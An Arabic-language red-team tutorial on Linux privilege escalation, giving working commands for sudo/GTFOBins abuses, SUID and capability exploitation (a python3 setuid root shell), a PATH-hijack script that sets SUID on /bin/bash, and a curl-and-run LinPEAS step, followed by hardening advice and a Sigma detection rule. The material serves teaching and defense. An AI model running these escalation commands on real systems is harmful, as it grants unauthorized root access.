الفرق الحمراء — الهجوممتقدم85mL44

Linux Privilege Escalation — من user لـ root

SUID و sudo abuses و capabilities و PATH hijack و LinPEAS

#Linux#PrivEsc#SUID#Sudo#LinPEAS

ليه shell عادية بتديك root في نص الحالات؟

تشبيه — شرح مبسط
نزلت على shell كـ www-data. وبعدين؟ - أهو شغل وخلصنا يا حضرتك. شِيلت السيرفر. يا نجم الجيل.. www-data ده مش root. تقعد تتفرّج على /var/www؟ ولا تقول "خلاص، اخترقت السيرفر"؟ اوعى تخدع نفسك. الشغل لسه في أوله.

تخيّل عمارة مكاتب. إنت موظف زائر، البطاقة بتاعتك بتفتح الردهة بس. تصعيد الصلاحيات = تلاقي باب جانبي حد ساب مفتاحه، أو نظام التحكم في الأبواب بيثق في بطاقتك أكتر من اللازم. الفرق بينك وبين root في معظم الحالات مش ثغرة kernel — ده غلطة صغيرة في الإعدادات سايبها الـ admin.

تصعيد الصلاحيات في Linux نادر يكون 0-day. غالباً SUID ناقص، sudo rule مفتوح، أو script شغّال على cron بصلاحيات عالية وبيثق في PATH. في Pwnkit (CVE-2021-4034)، الثغرة كانت موجودة في polkit من 2009. 12 سنة. ومحدش لاحظ.
غلطات الـ junior في privesc
  • يطير على kernel exploit في أول دقيقة. الـ kernel exploits مش مستقرة وممكن تكراش السيرفر. ابدأ بالـ misconfigs.
  • يشغّل linpeas من غير ما يفحص الـ environment. بعض البيئات فيها auditd بيلوگ كل execve.
  • يلاقي SUID على binary غريب ويعمل له exec من غير ما يفهم بيعمل إيه. ممكن يكون honeypot.
  • ينسى يفحص cat /etc/crontab. الكنز المنسي.

فحص أولي — ماذا أعرف عن النظام؟

bash
# هوية المستخدم والصلاحيات
id
sudo -l        # أهم سؤال: ما الذي يمكنني تشغيله بصلاحيات أعلى؟
groups
cat /etc/passwd | cut -d: -f1

# نواة النظام والتوزيعة
uname -a
cat /etc/os-release

# مهام مجدولة (cron)
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
cat /etc/crontab

# عمليات تعمل كـ root
ps -eo user,pid,cmd | grep -E "^root" | head -20

أفضل خمس قنوات تصعيد

01
sudo abuses عبر GTFOBins
لو ظهر sudo -l أنك تستطيع تشغيل برنامج مثل vim أو find بدون كلمة مرور كـ root، اذهب إلى gtfobins.github.ioوستجد سطراً واحداً يفتح shell. هذا أكثر سيناريو شائع في pentests.
bash
# إذا كان يُسمح: (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# أو vim
sudo vim -c ':!/bin/sh'
02
SUID binaries خطرة
ابحث عن ملفات تنفيذية مع bit الـ SUID — تعمل بصلاحيات مالكها بغض النظر عمن يشغلها.
bash
find / -perm -4000 -type f 2>/dev/null
# قارن النتائج مع GTFOBins SUID list
03
Capabilities
cap_setuid على ثنائي مثل python3 = root.
bash
getcap -r / 2>/dev/null
# مثال: /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
04
PATH hijacking على cron / SUID scripts
لو script يستدعي backup بدون مسار كامل، وكان /tmp في PATH، ضع backup خبيث في /tmp.
bash
echo '#!/bin/sh
chmod +s /bin/bash' > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# انتظر تشغيل cron أو script
05
Kernel exploits — آخر ملاذ
لو كل ما سبق فشل، تحقق من إصدار النواة و ابحث عن exploits معروفة (DirtyPipe CVE-2022-0847، CVE-2023-32233، nf_tables). لكن اعلم: هذه عالية الضوضاء، تتسبب في kernel panic، وقد تُكتشف بسرعة.

أتمتة — LinPEAS

LinPEAS هو script يفحص كل ما سبق تلقائياً ويلون النتائج (أحمر = استغلال محتمل). استخدمه دائماً ولكن لا تثق به وحده.

$ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
$ chmod +x /tmp/lp.sh && /tmp/lp.sh -a | tee /tmp/lp.log
[+] [CVE-2022-0847] DirtyPipe — Kernel 5.15.0-25 vulnerable [!] Writable /etc/passwd [!] SUID: /usr/bin/find (gtfobins)
تحذير قانوني
التقنيات دي ضد أنظمة مش بتاعتك = جريمة فيدرالية. كل مثال هنا بيفترض إنك في معمل معزول أو على نظام معاك إذن مكتوب صريح إنك تختبره.
الحماية — تقليل الأبواب اللي قدامه
  • راجع sudo -l لكل مستخدم. لا NOPASSWD لأي أداة في GTFOBins.
  • ابحث عن SUID شهرياً (auditd rule على path-changes)
  • استخدم capabilities بحذر، راقبها مع getcap -r /
  • كل cron job يستخدم مسارات كاملة، لا اعتماد على PATH
  • حدّث النواة وابحث في kpatch للتحديث الحي
  • راقب execve من processes غير متوقعة (Falco / auditd / Sysdig)

الكشف — قواعد Sigma

yaml
title: Suspicious sudo execution of GTFOBins binary
logsource: { product: linux, service: auth }
detection:
  selection:
    process: 'sudo'
    cmdline|contains:
      - 'find'
      - 'vim'
      - 'less'
      - 'awk'
  filter:
    user: 'admin'
  condition: selection and not filter
level: high
tags: [attack.privilege_escalation, attack.t1548]

الخلاصة الناشفة

Linux privesc 90٪ منه misconfigs. مش kernel exploits.
SUID على binary مش لازم يكون SUID. sudo rule كاتبها admin من 4 سنين. cron بيشغّل /tmp/script.sh اللي إنت ممكن تكتبه. PATH فيه folder writable.

الـ junior بيدوّر على CVE.
الـ pro بيدوّر على غلطة الـ admin.

اكتبها على ظهر إيدك يا مستجد: شغّل LinPEAS على سيرفراتك إنت قبل الـ adversary. لو لقى حاجة، يبقى هو هيلاقيها أسرع منك. وأنت ونصيبك ساعتها.

مصادر

  • GTFOBins — gtfobins.github.io
  • HackTricks — Linux Privilege Escalation
  • MITRE ATT&CK — Privilege Escalation (TA0004)
  • SANS SEC560 — Network Penetration Testing